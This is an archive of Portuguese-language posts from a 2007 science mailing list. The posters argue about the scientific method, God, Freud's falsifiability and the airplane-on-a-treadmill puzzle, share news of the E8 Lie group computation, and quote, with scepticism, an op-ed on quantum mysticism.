--- rmtakata <roberto.takata@bol.com.br> escreveu:

> --- Em ciencialist@yahoogrupos.com.br, Chicao
> Valadares
> > Freud nao é um exemplo de 1??
>
> Por q?
>


"O Binômio de Newton é tão belo como a Vênus de Milo.
O que há é pouca gente para dar por isso... "
Fernando Pessoa - Poesias de Alvaro Campos

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SUBJECT: Re: [ciencialist] Re: P/ Luiz: Sobre o Método Cientifico - ad infinitum
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 20/03/2007 17:59

Oi Ferrari,

essas suas respostas são as mais típicas respostas das tirinhas de horóscopos, auto-ajuda etc.
Isso é que é "chutar" no nada e cada um absorver o que mais lhe agradar.
Pelo jeitão vc é perito nessas frases vazias tipo horóscopo! Parabéns!
Pode começar a escrever algum blog ou coisa do tipo e breve vc será considerado pelo povo "o mago do século"; se vc 'esmerilhar' mais poderá colocar Fritz Khan, Capra, Chico Xavier e Cia Bela no chinelo.
Vá ser vazio no vácuo!!! Quer moleza? Vá tomar sopa de hidrogênio! :-))))

Essas duas respostas abaixo são realmente hilárias e explicam bem seu desconhecimento de lógica e ciência:

"Luiz >>> Dá prá ele fazer chover só na minha horta
amanhã às 11:00 horas?

--- Hehehehe... pergunte pra ele?

Léo: Quem é esse "ele" para eu lhe dirigir a pergunta? Que resposta vazia!

Luiz >>> Dá prá ele me explicar direitinho o que é um
elétron, como as massas se atraem, o que é carga
elétrica etc.? Coisinhas mínimas assim!

--- Sim, é isto que ele faz quando poe seu cérebro pra
funcionar."

Léo: Sim, eu ponho meu cérebro para funcionar e "ele" leva os créditos ... que safado!

==============
Bem, na verdade eu não esperava muito mais que isso de alguém que acredita nos contos de fada.

aquele abraço,



===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "Ferrari" <emailferrari@yahoo.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: terça-feira, 20 de março de 2007 09:40
Assunto: [ciencialist] Re: P/ Luiz: Sobre o Método Cientifico - ad infinitum


Olá

Luiz >>> Ferrari, como faço para experimentar esse seu
Deus?

--- Nao faz, é impossivel. Como vc faz pra
experimentar o azul que eu experimento? Nao faz, é
impossivel. Como vc faz pra experimentar a visão da
maça que newton experimentou. Nao faz, é impossivel.
Porque é impossivel? A explicação da ciencia para esta
impossibilidade se chama: Lei da relatividade.
Contudo, experimente experimentar o seu, é tudo que
jamais fez e jamais poderá fazer.

Luiz >>> A vida é uma realidade pois posso sentí-la,
beliscar-me, vive-la, consumí-la (se quiser) e,
dependendo das casualidades posso levá-la na maciota
ou ter que dar um duro para sobreviver. Esse teu deus
... tem um jeitinho de eu sentí-lo, tocá-lo,
beliscá-lo, bater um papo com ele tete-a-tete,
convidá-lo para uma picanha com vinho?

--- Como disse acima, só se a lei da relatividade não
existisse. Mas existe, não?

Luiz >>> ver ele fazer algum 'truque' (como acabar com
a miséria no mundo, com as guerras, com a fome, com as
doenças) típico de um deus?

--- Vc quer dizer: "típico do seu conceito
materialista de deus", não é isto?

Luiz >>> Dá prá ele fazer chover só na minha horta
amanhã às 11:00 horas?

--- Hehehehe... pergunte pra ele?

Luiz >>> Dá prá ele me explicar direitinho o que é um
elétron, como as massas se atraem, o que é carga
elétrica etc.? Coisinhas mínimas assim!

--- Sim, é isto que ele faz quando poe seu cérebro pra
funcionar.

Luiz >>> Ou ele só solta frases de auto-ajuda?

--- Hehehehe... Faz isto também. Pena que é impossivel
ajudar quem não quer ser ajudado.

Luiz >>> Se vc fosse um deus vc agiria assim como ele?
Na moita?

--- Sim, com certeza, descobrir o que está coberto é o
que dá prazer num jogo de descobrir.


abçomano
ferrari



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O novo livro de Marcelo Ferrari:
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SUBJECT: Re: Fw: PESQUISA
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 20/03/2007 18:25

--- Em ciencialist@yahoogrupos.com.br, "Silvio Cordeiro"
> O Ministério da Educação coloca à nossa disposição tudo isso. Basta
> acessar o site http://www.dominiopublico.gov.br
>
> perder esse lugar, pois vão desativar o projeto por falta de uso, já
> que o volume de acesso é muito reduzido.

O site merece ser visitado e seu conteúdo acessado. Mas acesso
reduzido??? A menor visita mensal foi em janeiro de 2006: 21.580
acessos. Oquei, não se compara com o milhão de acessos q blogues de
bobagens como o Jacaré Banguela ou o Kibe Loko conseguem em um dia,
mas não é uma visita baixa.

"É falsa informação sobre desativação do Portal Domínio Público

01/03/2007 19h18

Nos últimos meses tem circulado na internet, e até mesmo na mídia
impressa, um boato acerca do fim do Portal Domínio Público, a
biblioteca digital do Ministério da Educação.

Segundo o coordenador do programa, Marco Antonio Rodrigues, 'o fato é
que o portal, administrado pela Secretaria de Educação a Distância do
MEC, é um programa de grande sucesso e baixo custo, não estando em
questão a sua desativação'.

Durante pouco mais de dois anos de funcionamento, o Domínio Público
registrou mais de três milhões de acessos. No acervo, são mais de 36
mil obras nos diferentes tipos de mídia disponíveis (texto, som,
imagem e vídeo). Na mídia texto, dez mil teses e dissertações dos
programas de pós-graduação reconhecidos pela Coordenação de
Aperfeiçoamento de Pessoal de Nível Superior (Capes), dez mil obras
literárias em várias línguas. Além disso, o portal possui quase 500
vídeos de conteúdo educativo, produzidos pelo programa TV Escola e
especialmente compactados para a internet.

Música erudita e popular, reproduções de obras clássicas da arte
ocidental também fazem parte do acervo do Domínio Público. Para
Rodrigues, o boato pode ter tido origem nas próprias comunidades da
internet, funcionando como uma forma indevida de divulgação.
'Importante é que as pessoas conheçam o serviço pelo que ele oferece,
e não a partir de uma informação equivocada', diz o coordenador."
http://portal.mec.gov.br/acs/index.php?option=content&task=view&id=6543&FlagNoticias=1&Itemid=6692

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] Crueldade com animais
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 20/03/2007 23:08

Chicão, creio que a maioria de nós está nessa busca, que é pessoal. Para
outros ainda chegará o dia que a necessidade de princípios éticos se tornará
a coisa mais importante à existência. Vc quer provas? O que busco é agir de
uma forma que não me traga arrependimentos, vergonhas, remorsos,
tristezas... Que eu possa rever o que fiz e ter o consolo e a tranqüilidade
de que foi uma das melhores maneira de agir, que poderia conseguir na
ocasião. As "provas" que vc pede e as únicas que posso lhe dá são as que
estão nos e-mail que consigo emitir. Não me parece que Homero está aqui
argumentando para derrubar alguém. A dificuldade de relacionamento e do
entendimento das idéias estruturadas na história de vida do outro, faz parte
do difícil exercício de uma comunicação que ultrapasse a mesmice do
faz-de-conta. Dessa mesmice, acredito que todos nós já estamos saturados.
[]s
José Renato
...............................................

From: "Chicao Valadares" <chicaovaladares@yahoo.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Sunday, March 18, 2007 10:21 AM
Subject: Re: Fw: [ciencialist] Crueldade com animais


>E quem disse que eu nao estou procurando??
> A parada foi estrategica pq notei que não estavamos
> saindo do lugar.
> Se vc tiver algum indicativo dessa ética então prove
> a todos desta lista sob pena de ser derrubado pelos
> argumentos de Homero & cia.
>
> Abraços
>
>
> --- José Renato <jrma@terra.com.br> escreveu:
>
>> Chicão, sou-lhe grato pela troca de idéias. Mas vale
>> perguntar: como vamos
>> achar a ética universal se não a procurarmos?
>> Parece-me que a questão está
>> muito menos em encontrá-la, do que na força
>> necessária para considerá-la e
>> praticá-la. Estamos esgotados por tantas
>> solicitações que não nos sobra
>> energia para sermos o que dizemos ser: homo
>> sapiens-sapiens.
>> []s
>> José Renato
>> .............................................
>>
>> From: "Chicao Valadares" <chicaovaladares@To:
>> <ciencialist@yahoogrupos.com.br>
>> Sent: Monday, March 12, 2007 12:07 PM
>> Subject: Re: Fw: [ciencialist] Crueldade com animais
>>
>>
>> > JR vou parar por aqui. Enquanto não acharmos a
>> ética
>> > universal vamos ficar apenas nos achismos e no
>> plano
>> > da retórica. Foi proveitosa toda essa polêmica.
>> Essa
>> > história de escolha lembra aquele velho dilema
>> entre
>> > determinismo e acaso. Mas isso fica pra um outro
>> > debate....
>> >
>> > Abraços.
>> >
>> > --- José Renato <jrma@terra.com.br> escreveu:
>> >
>> >> Olá, Chicão! Essa é uma questão de escolha... A
>> >> nossa vida é construída,
>> >> destruída ou mantida por permanentes escolhas que
>> >> fazemos e pelas decisões
>> >> que tomamos. Encontrar as melhores decisões e
>> >> escolhas para cada situação é
>> >> a pedra de toque que os sábios buscam há tempos.
>> >> Como elas são praticamente
>> >> infinitas alguns roteiros básicos são copilados
>> para
>> >> orientações gerais. Mas
>> >> no particular, cada um vai ter de optar, escolher
>> e
>> >> decidir. Ou deixar que
>> >> decidam por nós.
>> >> Faço outros comentários no corpo do e-mail, após
>> >> JR2, OK?
>> >> ..............................................
>> >> From: "Chicao Valadares" <chicaovaladares@To:
>> >> <ciencialist@yahoogrupos.com.br>
>> >> Sent: Thursday, March 08, 2007 4:22 PM
>> >> Subject: Re: Fw: [ciencialist] Crueldade com
>> animais
>> >>
>> >>
>> >> > JR, minhas respostas seguem depois do ">>>>>".
>> >> >
>> >> > JR1 - Dor e prazer são sinais sensíveis
>> relativos.
>> >> O
>> >> > atleta sofre muito durante a preparação para
>> bater
>> >> > seus recordes com a intenção de ter o prazer de
>> >> > possuir uma medalha de ouro, seu nome nos
>> anais,
>> >> > valorização,
>> >> > admiração, etc. Dor e prazer não são
>> indicativos
>> >> > absolutos. Muitas vezes o prazer de comer uma
>> >> caixa de
>> >> > chocolate acaba mal. Esse equilíbrio nas
>> atitudes
>> >> já
>> >> > era perseguido por Sócrates com muito empenho.
>> >> Perceba
>> >> >
>> >> > que buscar a felicidade, a glória e o gozo é o
>> >> > objetivo maior e legítimo do ser humano. As
>> >> > dificuldades ocorrem quando minha visão é curta
>> e
>> >> > atropelo tudo que de bom possuo para obter
>> isso. A
>> >> > troca é prejudicial a
>> >> > mim e a todos que uso ou despacho para obter a
>> >> > felicidade a qualquer custo. Vou postar uma
>> >> reflexão
>> >> > que fiz sobre isso, provocada há tempos
>> >> > pelo Bulcão, na lista Acropolis.
>> >> >
>> >> >>>>>>Concordo com a relatividade.
>> >> >
>> >> >
>> >> > JR1 - Mas quando o ser humano toma consciência
>> de
>> >> sua
>> >> > existência passa a buscar viver de verdade, ter
>> um
>> >> amor de
>> >> > verdade, ser feliz de verdade... Ilusões
>> distraem
>> >> e confortam
>> >> > durante algum tempo. Mas o bom mesmo é
>> >> > a realidade com todas as sua conseqüências.
>> >> >
>> >> >>>>>>O que é verdade??? A realidade é boa porque
>> dá
>> >> > prazer??? Eu posso na MATRIX fazer com que voce
>> >> saiba mais
>> >> > verdades que uma pessoa comum. Com isso você
>> >> pensaria
>> >> > que conhece a realidade e seria bom para você.
>> >> > Não gostaria de entrar na MATRIX???
>> >> JR2 - Parece que o que faço o tempo todo é tentar
>> >> sair dela, da geléia geral
>> >> em que estamos vivendo, da ilusão manipulada
>> pelos
>> >> meios de comunicação
>> >> acionados pelos interesses comerciais e
>> políticos.
>> >> Viver na realidade ou na
>> >> verdade dá mais segurança, harmonia,
>> >> tranquilidade... O melhor em tudo é não
>> >> confundir o imaginado e o sonhado com a
>> Realidade. É
>> >> isso que a Ciência
>> >> busca.
>> >> >
>> >> > JR1 - Viver de mentirinha é o que já faço de
>> >> diversas
>> >> > maneiras e em diversas ocasiões. Mas os meus
>> >> melhores
>> >> > momentos da vida vieram através da realidade e
>> da
>> >> > lucidez em percebê-la. Nela me realizo.
>> >> >
>> >> >>>>>>Não gostaria de entrar na MATRIX???
>> >> JR2 - De algum modo já estamos nela. O que
>> procuro é
>> >> sair dela.
>> >> >
>> >> > JR1 - É o que todos os "espertos e sabidórios"
>> >> > fazem... Quanto a não
>> >> > ser punido ou não sentir remorsos não é uma
>> >> certeza
>> >> > obtida de antemão.
>> >> > Quando menos se espera vem a tal crise
>> existencial
>> >> e
>> >> > aí o cara se
>> >> > constata um merda, mentiroso, falso, safado,
>> lixo,
>> >> > traidor, etc. e nem sabe
>> >> > mais quem ele é de fato no meio de tanta
>> falsidade
>> >> e
>> >> > mentira.
>> >> >
>> >> >>>>>>Todas as pessoas não são assim. Existem
>> >> aquelas
>> >> > que não sentem nenhum remorso em fazer ações
>> >> > consideradas más.
>> >> JR2 - Alguns sentimentos são inatos. Prejudicar
>> >> conscientemente alguém gera
>> >> no fundo uma reflexão tipo "e se ele fizesse isso
>> >> para mim" que vai geram um
>> >> sentimento semelhante ao que chamamos de remorso.
>> Em
>> >> estudos dos diversos
>> >> órgãos ou componentes do nosso sistema cognitivo
>> >> identifica-se regiões onde
>> >> estão os "bancos de dados" e procedimentos de
>> >> avaliação ética-moral. Célebre
>> >> é o caso do trabalhador que sofreu dano no
>> célebro
>> >> provocado por um prego
>> >> disparado por uma pistola pneumática. Penetrou na
>> >> cabeça, mas ele continuou
>> >> consciente e aparentemente não prejudicou em nada
>> >> seus movimentos e
>> >> atividades intelectuais. Após a remoção do prego,
>> >> recuperação e volta ao
>> >> trabalho, observou-se que o cara estava com um
>> >> comportamento diferente,
>> >> aético, entrão, imoral, inconveniente... A partir
>> >> daí começou-se a fazer
>> >> testes mais acurados sobre o funcionamento dessa
>> >> região afetada e de outras
>> >> regiões do cérebro.
>> >> >
>> >> > JR1 - Prejudicar, sacanear ou fazer mal a
>> alguém
>> >> pode
>> >> > dar algum prazer, algum tipo de emoção forte.
>> Os
>> >> > cruéis patológicos têm orgasmos ao praticar
>> >> violência,
>>
> === message truncated ===
>
>
> "O Binômio de Newton é tão belo como a Vênus de Milo.
> O que há é pouca gente para dar por isso... "
> Fernando Pessoa - Poesias de Alvaro Campos
>
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> para uso restrito, sendo seu sigilo protegido por lei. Caso não seja
> destinatário, saiba que leitura, divulgação ou cópia são proibidas.
> Favor
> apagar as informações e notificar o remetente. O uso impróprio será
> tratado
> conforme as normas da empresa e a legislação em vigor. Agradecemos sua
> colaboração.
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>
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> Para alterar a categoria classificada, visite
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> Esta mensagem foi verificada pelo E-mail Protegido Terra.
> Scan engine: McAfee VirusScan / Atualizado em 16/03/2007 / Versão:
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> 12:33
>



SUBJECT: Re: [ciencialist] Re: Sobre o Método Cientifico (o que, como, porque, pra que, e os cambau)
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 20/03/2007 23:17

Olá, Chicão" Vc já está chegando onde o grande Sócrates estava em sua
plenitude. Breve ouviremos de vc uma frase dita com a tranqüila convicção
dos sábios: "eu só sei que nada sei, daquilo que sei".
[]s
JR
.............................................
From: "Chicao Valadares" <chicaovaladares@>
To: <ciencialist@yahoogrupos.com.br>
Sent: Sunday, March 18, 2007 10:57 AM
Subject: Re: [ciencialist] Re: Sobre o Método Cientifico (o que, como,
porque, pra que, e os cambau)


> Ferrari, fodidas a parte eu acredito que os problemas
> no qual abordo se referem aos seguintes aspectos:
>
> 1) O que é ciência ??
> 2) O que é verdade ???
> 3) Quais verdades podemos conhecer??
>
> Variantes/consequências dos três itens acima:
> i) O método cientifico é completo e unico??
> ii) A navalha de Ocam é uma lei ou uma boa prática??
> iii) Existe método melhor que o outro e ainda o
> "ocam´s razor" pode ser aplicado pra definir o melhor
> método ??
>
> Variantes/consequências das Variantes/consequências:
>
> i) Se a navalha de ocam é apenas uma boa prática,
> então ela não serve para afirmar o que é verdadeiro no
> sentido ontológico da palavra. Algo mais complexo pode
> ser a verdadeira causa do fenômeno.
> ii) Teorias não falseáveis são usadas como verdades
> científicas pela comunidade científica.
> iii) Estou quase acreditando no pastor da Igreja perto
> de casa :p.
>
>
>
>
> --- Ferrari <emailferrari@yahoo.com.br> escreveu:
>
>> Olá Chicão!
>>
>> Prazer em conhece-lo. Vou tentar colaborar com os
>> seus
>> questionamentos. Para fazer isto, primeiro vou lhe
>> dizer o seguinte. Semantica é foda! Muita foda! Foda
>> mesmo! Apego a semantica, então, é foda que não
>> acaba
>> mais. (por favor, não leve a mal o meu jeito de me
>> expressar). Continuando... Semantica é foda porque
>> fode a comunicação. Sendo assim, minha primeira
>> tentativa de colaboração com a sua investigação é
>> lhe
>> aconselhar a ser um poliglota semantico. Dito isto,
>> vamos a sua questão sobre o método cientifico.
>>
>> Chicao Valadares >>> talvez os métodos aplicados
>> pela
>> "ciência" sejam bom para responder "O COMO" mas não
>> "O
>> PORQUÊ".
>>
>>
>> MÉTODO CIENTIFICO (passo-a-passo)
>>
>> 1) CIENCIA EXPERIMENTAL:
>>
>> a) Se pergunta: "o que" aconteceu?
>> b) Abre o olho e se responde: aconteceu isto.
>>
>> 2) CIENCIA EXPERIMENTAL:
>>
>> a) Se pergunta: "como" isto aconteceu? De que forma?
>> b) Observa (num periodo de tempo) e se responde:
>> isto
>> aconteceu desta forma.
>>
>> 3) CIENCIA TEORICA:
>>
>> a) Se pergunta: porque isto aconteceu? (busca da
>> força-causa do que aconteceu)
>> b) Se pergunta: porque isto aconteceu da forma que
>> aconteceu? (busca do sistema-causa na forma como
>> aconteceu)
>>
>> 4) CIENCIA TEORICA:
>>
>> a) Se responde: isto aconteceu por causa disto.
>> (teoria da causa)
>> b) Se responde: isto aconteceu da forma que
>> aconteceu
>> por causa disto(teoria do sistema)
>>
>> 5) CIENCIA EXPERIMENTAL:
>>
>> a) se é verdade que isto aconteceu (no passado) por
>> causa disto, e se o comportamento do universo
>> realmente é ciclico (causa e efeito), então, isto
>> tem
>> que reacontecer (no presente) igual descreve a
>> teoria.
>> se reacontecer, é verdade cientifica.
>>
>> b) se é verdade que isto aconteceu (no passado) da
>> forma que aconteceu por causa disto, e se o
>> comportamento do universo realmente é ciclico (causa
>> e
>> efeito), então, isto tem que reacontecer (no
>> presente)
>> da mesma forma. se reacontecer, é verdade
>> cientifica.
>>
>> 6) USUÁRIO DA VERDADE CIENTIFICA:
>>
>> Puta que o pariu! Esta verdade cintifica "serve" de
>> mapa perfeiro para eu obter sucesso nisto aqui!
>>
>>
>> vou responder suas outras perguntas.
>> abraçomano
>> ferrari
>>
>>
>>
>>
>>
>>
>>
>> - - - - - - - - - - - - - - -
>>
>> EXPERIMENTE XIXI COM TINTA
>> O novo livro de Marcelo Ferrari:
>>
>>
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SUBJECT: Re: [ciencialist] Que absurdo, Renato - Re: P/ Renato, decola sem problemas sim
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 20/03/2007 23:44

Caro, Homero! O esquema que Luiz elaborou devia ter lhe revelado mais do que
somente que o avião se desloca, não com a mesma velocidade da esteira mas
sim, com o *dobro* da velocidade, quando ela medida em relação à esteira. No
caso que lhe parece absurdo, quando o avião se desloca com a *mesma*
velocidade em relação à esteira, o avião ficará praticamente parado em
relação ao solo e ao ar que o circunda. Nesse último caso, ele não alça vôo.

Vamos ver se vc consegue visualizar o problema com uma experiência simples:
vc está em um avião que se desloca na pista para decolar; você está no
compartimento de bagagens que tem um visor transparente que lhe permite
olhar o chão da pista; vc vê que, à medida que as turbinas aceleram, a pista
passa sob o avião cada vez mais rapidamente...

Paro aqui e lhe pergunto. O que ocorrerá se o avião estiver sobre uma
esteira que se desloca com a *mesma* velocidade que ele, em sentido
contrário, e vc olhar pelo visor do compartimento de bagagens? Vc verá a
pista-esteira passando cada vez mais rápido sob o avião quando as turbinas
aceleram...

Abraços

José Renato
.................................

From: "oraculo333" <oraculo@To: <ciencialist@yahoogrupos.com.br>
Sent: Sunday, March 18, 2007 7:47 PM
Subject: [ciencialist] Que absurdo, Renato - Re: P/ Renato, decola sem
problemas sim


Olá Jose Renato

Vou ignorar os "ad hominem", você continua errado. E continua absurda
sua afirmação.

Renato: "Perceba que, nesse segundo caso, sempre que o avião se
deslocar sobre a esteira infinitesimalmente para frente - com qualquer
velocidade - a esteira rola em sentido contrário na mesma velocidade,
deixando-o praticamente parado em relação ao chão e ao ar que o
rodeia. Nesse caso o avião não levanta vôo. É só pensar um pouco..."

A esteira continua "enganando" você, como um letítimo "red hering". E
continua absurdo alegar que o caso depende do referencial com que se
mede o movimento do avião, para decidir se este voa ou não.

É como se, com duas pessoas medindo isso, uma em relação a esteira, e
outra em relação ao solo, o mesmo avião "decolasse e não decolasse"!!

Isso não faz o menor sentido, Renato.
Ao se deslocar sobre a esteira (ou sobre o chão), o avião o faz devido
ao EMPUXO e não a esteira. Portanto, tente entender, é IRRELEVANTE o
que a esteira está fazendo, se está parada ou rolando!

Ao rolar a esteira APENAS faz com que as rodas girem sobre seu eixo
mais rápido do que girariam se o aviãi estivesse sobre o solo fixo. Só
isso, nada mais. Ela NÃO leva o avião para tras, simplesmente porque
NÃO tem como fazer isso, não tem força a aplicar no avião!

Você está profundamente enganado, totalmente enganado, mas não sei se
vai conseguir entender isso algum dia.

Mais uma vez, tente pensar em atrito zero nos rolamentos. Me diga,
Renato, se os rolamentos tem atrito zero, acha que ainda assim o avião
não deccola? Veja que nada mudou, a esteira ainda "rola" cada vez que
o avião avança, e portanto sua alegação deveria ser a mesma.

Mas NÃO É. Se puxar a esteira embaixo do avião, com rodas de rolamento
de atrito zero, ele NÃO SE MOVE para tras. Ele fica no lugar. Se
acelerar, anda para frente e decola NÃO IMPORTA O QUE A ESTEIRA FAÇA.

Assim, a única forma de uma esteira impedir a decolagem, e a ÚNICA
forma de uma esteira fazer o que alega acima, seria "colar" as rodas
na esteira ou se o atrito dos rolamentos fosse maior que a pressão do
empuxo DESDE O INÍCIO, que é o que o Takata tenta defender.

Sua alegação está errada em todos os sentidos, inclusive com relação a
alegação do Takata.

Isso é que é teimosia..:-)

Homero




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SUBJECT: Re: Sobre o Método Cientifico
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 21/03/2007 00:09

--- Em ciencialist@yahoogrupos.com.br, Chicao Valadares
> A teoria de freud é falseável sim simplesmente porque
> eu posso ver seus efeitos no mundo e medir a taxa de
> acertos.

Eu questiono mais a capacidade da psicanálise fazer previsões do q
propriamente o caráter não falseável da teoria.

[]s,

Roberto Takata



SUBJECT: Que absurdo, Renato - Re: P/ Renato, decola sem problemas sim
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 21/03/2007 00:30

Olá Jose Renato

Renato: " O esquema que Luiz elaborou devia ter lhe revelado mais do
que somente que o avião se desloca, não com a mesma velocidade da
esteira mas sim, com o *dobro* da velocidade, quando ela medida em
relação à esteira."

O que o esquema demonstra, claramente, é que o avião DECOLA, ainda que
a esteira se mova, em relação a ele, no dobro da velocidade. Na
verdade é EXATAMENTE por isso que ele decola, porque, estando a
esteira, em relação ao avião, no DOBRO da velocidade de decolagem,
isso significa que EM RELAÇÃO AO SOLO, e a ar a sua volta, ele se
desloca a velocidade de decolagem.

Não adianta, Renato, enquanto não entender seu erro, vai ficar girando
em círculos, pensando que o avião pode ser impedido de decolar pela
esteira, apenas porque esta se move para tras.

Renato: " O que ocorrerá se o avião estiver sobre uma esteira que se
desloca com a *mesma* velocidade que ele, em sentido contrário, e vc
olhar pelo visor do compartimento de bagagens? Vc verá a pista-esteira
passando cada vez mais rápido sob o avião quando as turbinas aceleram..."

O que significa que este, o avião, se desloca em relação ao solo EM
VELOCIDADE DE DECOLAGEM.

Tem de compreender, sua "visão" está incorreta e equivocada, e o
impede de avaliar o problema corretamente. Está tentando "ver" o avião
e as forças em questão, quando tem de calcular, analisar a partir da
física de vetores para entender.

Sua compreensão de "rodas" e propulsão pelo atrito das rodas, está
"bagunçando" sua cabeça. O avião não depende das rodas, o que
significa que NÃO depende da esteira, que só pode agir sobre as rodas
(e não sobre o avião e sobre seu movimento).

Um avião, sobre uma esteira, que se move A MESMA velocidade deste, mas
para tras, é uma imagem que não está sendo vista corretamente por
você, devido a forma como "enxerga" as rodas.

mas, na verdade, o avião nesta situação está se movendo, em relação ao
solo e ao ar, em velocidade de decolagem, digamos 100 km/h, em relação
a esteira no dobro dessa velocidade, 200 km/h. As rodas giram nessa
velocidade, devido ao fato de que, o avião, as acelera a 100 km/h em
uma direção, e a esteira, as "gira" (e, preste atenção, não as MOVE,
para frente) a 100 km/h, de forma que elas tem de GIRAR no dobro da
velocidade do avião e da esteira.

Mas, o avião, para os efeitos de decolagem, está na velocidade correta
e DECOLA.

Repito, enquanto não conseguir se livrar da "pegadinha", do "red
hering" que é a esteira,. não vai entender sem erro. Mesmo que alguém
construisse um modelo real, e demonstrasse a você que o avião decola,
ainda pensaria que estão tentando "enganar" você, e que sua visão é
correta.

Homero





SUBJECT: Deu no American Institute of Mathematics .
FROM: "Victor" <jvoneto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 21/03/2007 07:33


Lista,


Alguém daí está por dentro dessa proeza? É a criação magistral de Lie, sempre presente!


Sds,
Victor.

Deu no American Institute of Mathematics (informação posta em outro fórum):

Equipo de matemáticos resuelve un problema de 248 dimensiones

Un equipo de 18 matemáticos de los Estados Unidos y Europa ha mapeado una de las estructuras más grandes y complejas que se hayan estudiado hasta ahora; el objeto es conocido como el grupo de Lie excepcional E8. El equipo tardó cuatro años en realizar los cálculos. Escrito en papel, el resultado de este cálculo cubriría la isla de Manhattan.

Los grupos de Lie fueron inventados en el siglo XIX por el matemático noruego Sophus Lie para estudiar objetos simétricos. En términos matemáticos, debajo de todo objeto simétrico yace un grupo de Lie. Ejemplos típicos de objetos tridimensionales simétricos son la esfera, el cilindro o el cono. E8 tiene 248 dimensiones.

Una imagen del sistema de raíces de E8 realizada por John Stembridge

Para dar una idea del tamaño del cálculo de E8 se puede comparar con el Proyecto del Genoma Humano. La información de éste último (es decir, toda la información genética contenida en una célula humana) cabe en 1 gigabyte. La información sobre E8 y sus representaciones requiere 60 gigabytes.

El mapeo del grupo E8 es importante ya que está relacionado con otras áreas de las matemáticas y de la física, como la Teoría de cuerdas. Además, llevar a cabo el cálculo implicó hacer innovaciones en la programación de la solución. La implementación computacional les llevó más de dos años y después de eso tuvieron que encontrar una computadora lo suficientemente potente para llevar a cabo el cálculo. Hacerlo de una manera más eficiente para poder usar la capacidad computacional actual les tomó otro año más. Aun así, tuvieron que esperar a que a Noam Elkies (Universidad de Harvard) se le ocurriera una ingeniosa manera de implementar versiones más pequeñas del cálculo y luego unir todas las respuestas incompletas para obtener la solución final. Este último paso tomó unas 77 horas en la supercomputadora Sage. Esta manera de resolver el problema podría dar la pauta de cómo se resolverán varios problemas aún vigentes en las matemáticas durante el siglo XXI.

El resultado final sobre el E8 fue presentado por David Vogan, profesor del Departamento de Matemáticas del Instituto de Tecnología de Massachussets (MIT) durante una plática titulada "La tabla de caracterización para E8, o Cómo escribimos una matriz de 453,060 x 453,060 y encontramos la felicidad".

El cálculo de E8 es parte de un proyecto llamado Atlas de los Grupos de Lie y Representaciones que tiene por objetivo determinar las representaciones unitarias de todos los grupos de Lie, uno de los problemas sin resolver en matemáticas.



[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Afinal, quem somos?
FROM: César A. K. Grossmann <cesarakg@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 21/03/2007 08:31

Achei este texto de um professor universitário e físico... O artigo
está na Zero Hora, e parece que o filme "Quem Somos Nós?" está
servindo ao seu propósito... Será que ele é formado na Mackenzie?
Outro dia um cara perguntou se a Mecânica Quântica não abria uma porta
para teorias como a de que a Terra seja oca, e disse que um colega
dele, formado em física pela Mackenzie, "acredita na física quântica"
mostrada naquele famigerado filme.

http://www.clicrbs.com.br/jornais/zerohora/jsp/default2.jsp?uf=1&local=1&edition=7452&template=&start=1&section=&source=a1450434.xml&channel=9&id=&titanterior=&content=&menu=23&themeid=&sectionid=&suppid=&fromdate=&todate=&modovisual=
http://tinyurl.com/2pwsuf

Afinal, quem somos?
Tema para debate
MOACIR COSTA DE ARAÚJO LIMA/ Professor universitário e físico

A ciência nos descreve um mundo e nós acreditamos nela. Em função
disso, nos preparamos para viver naquele mundo que nos está descrito,
tentando buscar sintonia com suas leis.

Por isso, no mundo sombrio da mecânica clássica, que inspirou o
materialismo realista, tinha lugar o egocentrismo, a opressão do mais
forte submetendo o mais fraco, porque, nele, as coisas só funcionavam
à força.

Assim sendo, todo o oculto era fantasia; éramos máquinas, correndo em
um Universo-máquina, previsível, governado por leis imutáveis,
relativamente às quais não tínhamos a menor possibilidade de intervenção.

Biologicamente, éramos considerados mutações ao acaso, simples
portadores de DNA, na busca implacável por mais, num Universo sem sentido.

Caráter, honradez, ética, eram simples conseqüência das posições dos
átomos em nossas células. Nada referente à consciência.

Por isso, Bertrand Russel, filósofo e matemático inglês, afirmou que
ao nos enxergarmos refletidos no espelho da Física Newtoniana, estamos
mergulhados no desespero inarredável ao qual ela deu origem e conclui,
que assim sendo, toda a labuta dos séculos, toda a devoção, toda a
inspiração, todo o brilho do gênio humano estariam destinados à
extinção na vasta morte do sistema solar; e que todo o templo da
conquista humana deveria inevitavelmente ser soterrado sob os
escombros de um universo em ruínas.

A Nova Física, no dizer de Allan Wolf, PhD em Física Quântica,
escritor e conferencista, traz um novo ar de liberdade e responsabilidade.

A certeza, o tudo está previsto da Física Newtoniana, é substituída
por um Universo de possibilidades; e nesse Universo de possibilidades
é nossa consciência que realiza escolhas. Somos, então, responsáveis.

A Física Quântica trouxe para o Universo da Ciência a presença
indispensável da consciência do observador, que passa, de mero e
impotente observador, a co-criador da realidade.

Demonstra-se que, em experiências nas quais o elétron pode assumir o
comportamento de onda ou de partícula, é a consciência do observador
que irá fazê-lo adotar uma ou outra manifestação.

Ademais, a grande lei da Física Quântica é a Lei de
Interconectividade: tudo no Universo está interconectado, logo, não há
ações isoladas. Nossa consciência influi no universo material, nas
outras consciências e nos constrói de dentro para fora, tornando-nos
os arquitetos de nosso destino, pois, rigorosamente, somos o que
fazemos de nós.

